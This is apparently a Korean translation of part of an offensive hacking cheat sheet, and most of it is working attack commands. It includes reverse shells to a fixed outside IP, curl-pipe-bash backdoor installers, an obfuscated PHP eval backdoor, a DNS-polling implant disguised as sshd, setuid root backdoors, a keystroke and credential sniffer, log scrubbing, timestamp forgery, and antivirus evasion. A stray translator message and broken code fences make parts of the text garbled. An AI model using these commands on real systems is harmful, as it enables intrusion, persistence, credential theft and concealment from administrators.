({ openssl s_client -connect 3.13.3.7:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

*'-e'*가 지원되지 않는 경우의 변형:```sh
{ nc -vn 3.13.3.7 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

Telnet 변형:```sh
mkfifo /tmp/.io; sh -i 2>&1 </tmp/.io | telnet 3.13.3.7 1524 >/tmp/.io

Note: 로그인 후 `rm /tmp/.fio`를 잊지 마세요.



<a id="revese-shell-remote-moe"></a>
**5.i.h. remote.moe 및 ssh를 통한 리버스 셸 (암호화)**

원시 TCP(예: bash 리버스 셸)를 [remote.moe](https://remote.moe)를 통해 터널링하는 것이 가능합니다:

워크스테이션에서:```sh
# First Terminal - Create a remote.moe tunnel to your workstation
ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

대상에서 (대안; ssh, bash 및 mkfifo 필요):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

<a id="reverse-shell-perl"></a>
**5.i.j. Perl을 이용한 리버스 셸**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. 리버스 셸을 PTY 셸로 업그레이드하기**

위의 리버스 셸은 모두 제한적입니다. 예를 들어 *sudo bash*나 *top*은 작동하지 않습니다. 이들을 작동시키려면 셸을 실제 PTY 셸로 업그레이드해야 합니다:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

<a id="reverse-shell-interactive"></a>
**5.ii.b. 리버스 셸을 완전한 대화형 셸로 업그레이드**

...그리고 Ctrl-C 등을 사용하고 싶다면 리버스 셸을 완전한 컬러 대화형 셸로 끝까지 업그레이드해야 합니다:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

I received no input text to translate. Please provide the actual chunk content.```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

---
<a id="backdoor"></a>
## 6. 백도어

간단한 1줄 리버스 셸은 [리버스 셸 / 덤 셸](#reverse-shell)을 참조하세요.

<a id="gsnc"></a>
**6.i. gs-netcat을 사용한 리버스 셸**

대부분 gs-netcat의 자동 배포 스크립트를 사용합니다: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

또는 자체 배포 서버를 실행하여 gsocket을 배포하십시오:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

또는 별로 좋지 않은 방법:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

작동 방식:
- SSHD 호스트 키는 평범한 ed25519 키일 뿐입니다.
- 모든 ed25519 키는 사용자 인증에 사용할 수 있습니다.
- SSHD는 `~/.ssh/authorized_keys`를 확인합니다 (하지만 이 방법은 남용되었습니다).
- 대신 SSHD가 로그인 인증 키도 `/etc/ssh/sshd_host_ed25519_key.pub`에서 확인하도록 구성합니다.
- 이제 SSHD는 유효한 로그인 키로 `~/.ssh/authorized_keys` _및_ `/etc/ssh/ssh_host_ed25519_key.pub`를 확인합니다.
- `/etc/ssh/sshd_host_ed25519_key` 비밀 키를 사용하여 대상에 로그인합니다.

<a id="backdoor-network"></a>
**6.vi. 전체 네트워크에 대한 원격 액세스**

[gs-netcat](https://github.com/hackerschoice/gsocket)을 설치하세요. 이 도구는 호스트의 사설 LAN에 SOCKS 출구 노드를 생성하며, 자체 릴레이 서버를 실행할 필요 없이 Global Socket Relay Network를 통해 접근할 수 있습니다 (예: 워크스테이션에서 원격 사설 LAN에 직접 접근):```sh
gs-netcat -l -S       # compromised Host

[Socks 프록시를 통한 모든 도구 사용](#scan-proxy)을 읽으세요.

다른 방법들:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - 우리만의 기사
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - segfault.net에서 모든 (내부) 네트워크로.

<a id="php-backdoor"></a>
**6.v. 가장 작은 PHP 백도어**

모든 PHP 파일의 시작 부분에 다음 줄을 추가하세요:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

백도어를 테스트하십시오:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

다음 중 하나를 사용하여 명령 또는 PHP 코드를 실행하세요:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

임플란트는 도메인 `b00m.team-teso.net`에 DNS TXT 요청을 통해 페이로드를 요청합니다. 트리거되면 `/tmp/.b00m`을 생성하고(app.interactsh.com 콜백을 통해) THC에 알립니다. *반드시* 자체 도메인을 사용하고 자체 페이로드도 생성하십시오. 예시:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0

또는 정교한 페이로드를 위해 데모 페이로드를 변경하십시오:
- 명령 실행을 위해 매시간 폴링하는 백그라운드 데몬을 시작합니다.
- bash, dig 및 base64만 필요로 합니다.
- `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`로 위장합니다.
- 예제에서는 `b00m2.team-teso.net`을 다시 사용하며 매시간 /tmp/.b00m을 생성합니다.

대상 셸에 다음을 잘라내어 붙여넣어 1줄 임플란트를 생성하십시오:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

...PERL로:
---
동일하지만 perl + bash만 필요로 하는 버전 (dig 불필요):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

페이로드를 생성하세요 (`egg.py`는 대상에서 실행됩니다):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

<a id="ld-backdoor"></a>
**6.vii. 로컬 루트 백도어**

#### 1. setcap으로 동적 로더 백도어하기```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

#### 2. 좋은 옛 b00m 셸```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

<a id="implant"></a>
**6.viii. 자체 추출 임플란트**

[mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh)을(를) 사용하여 자체 추출 셸 스크립트를 생성하세요 (예제는 소스를 참조하세요).

간단한 예:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

2. `egg.sh`를 `update-for-fools.txt`로 이름을 바꾸고 [Signal](https://www.signal.org/) GitHub 저장소에 blob으로 업로드하세요.

3. 이 명령어로 Signal을 업데이트하라고 사람들을 속이지 마세요 ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

또는```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

시스템 속도 점검```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

모든 쓰기 가능한 디렉토리 찾기:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

- [PassDetective](https://github.com/aydinnyunus/PassDetective)를 사용하여 ~/.*history에서 비밀번호를 찾으세요
- [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption)를 사용하여 실행 중인 프로세스에서 Chrome 비밀번호를 추출 및 복호화하세요 (Windows 전용)
- [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)를 사용하여 브라우저에서 비밀번호를 추출하세요

`grep` 사용:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

---
<a id="shell-hacks"></a>
## 8. 셸 해킹
<a id="shred"></a>
**8.i. Shred 및 파일 삭제**```sh
shred -z foobar.txt

참고: 또는 파일을 */dev/shm* 디렉터리에 배포하여 하드디스크에 데이터가 기록되지 않도록 하십시오. 재부팅 시 데이터는 삭제됩니다.

참고: 또는 파일을 삭제한 다음 전체 하드디스크를 /dev/urandom으로 채우고 rm -rf the dump file을 실행하십시오.

<a id="restore-timestamp"></a>
**8.ii. 파일의 날짜 복원**

*/etc/passwd* 파일을 수정했지만 파일 날짜에는 이제 */etc/passwd*가 수정된 것으로 표시된다고 가정해 보십시오. *touch*를 사용하여 파일 날짜를 다른 파일(이 예에서는 */etc/shadow*)의 날짜로 변경하십시오.```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

이것은 로그 파일에서 IP `1.2.3.4`를 포함하는 모든 줄을 제거합니다:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

<a id="shell-hide-files"></a>
**8.iv. root 권한 없이 해당 사용자로부터 파일 숨기기**

우리가 선호하는 작업 디렉터리는 */dev/shm/* 입니다. 이 위치는 휘발성 메모리로 재부팅 시 사라집니다. 로그 없음 == 범죄 없음.

영구 파일 숨기기:

방법 1:```sh
alias ls='ls -I system-dev'

방법 3:
Unix는 0x00을 제외한 거의 모든 ASCII 문자를 파일 이름에 허용합니다. 탭(*\t*)을 시도해 보세요. 대부분의 관리자는 그러한 디렉토리로 cd하는 방법을 모르는 경우가 많습니다.```sh
mkdir $'\t'
cd $'\t'

<a id="nosudo"></a>
**8.vi. sudo/su 없이 사용자 전환**

X11 세션의 스크린샷을 찍는 데 필요합니다 (예: `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` 또는 `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

Cleanse the [UPX header](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) and 2nd ELF header to fool the Anti-Virus:

UPX 헤더와 두 번째 ELF 헤더를 정리하여 안티바이러스를 속이십시오:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

바이너리가 언패킹될 수 없는지 확인하십시오:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

가능한 가장 짧은 변형은 (예시):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

백도어는 SSH를 통해 원격 메모리로 직접 파이프되어 실행될 수도 있습니다:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

---
<a id="crypto"></a>
## 9. 암호화
<a id="gen-password"></a>
**9.i. 빠른 랜덤 비밀번호 생성**

인간의 개입 없이 빠른 비밀번호를 생성할 때 유용합니다.```sh
openssl rand -base64 24

또는 영숫자로 만드세요```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

마운트:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

<a id="encfs"></a>
**9.ii.b. Linux 휴대용 암호화 파일시스템 - EncFS**

```.sec```을(를) 생성하고 암호화된 데이터를 ```.raw```에 저장합니다:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

<a id="encrypting-file"></a>
**9.iii 파일 암호화**

전송하기 전에 0-Days 및 로그 파일을 암호화하세요 - 부탁드립니다. (그리고 자신만의 암호를 선택하세요):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

---
<a id="sniffing"></a>
## 10. 세션 스니핑 및 하이재킹
<a id="session-sniffing"></a>
**10.i 사용자의 SHELL 세션 스니핑**

`~/.bashrc`용 1줄 스크립트로, 사용자의 키 입력을 스니핑하여 `~/.config/.pty/.@*`에 저장합니다. root가 아닐 때 사용자의 sudo/ssh/git 자격 증명을 캡처해야 하는 경우 유용합니다. 

배포: 다음 내용을 대상 시스템에 복사하여 붙여넣고 지침을 따르세요:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

dtrace를 시작하고 /tmp/.log에 로그를 기록합니다:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

우리만의 [sudo/su/ssh 비밀번호를 스니핑하는 eBPF 도구](https://github.com/hackerschoice/bpfhacks)를 확인해 보세요.

<a id="ssh-sniffing-strace"></a>
**10.iv strace로 사용자의 SSH, bash 또는 SSHD 세션을 스니핑하기**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

Sniff 7770 (예시):```shell
tit write 7770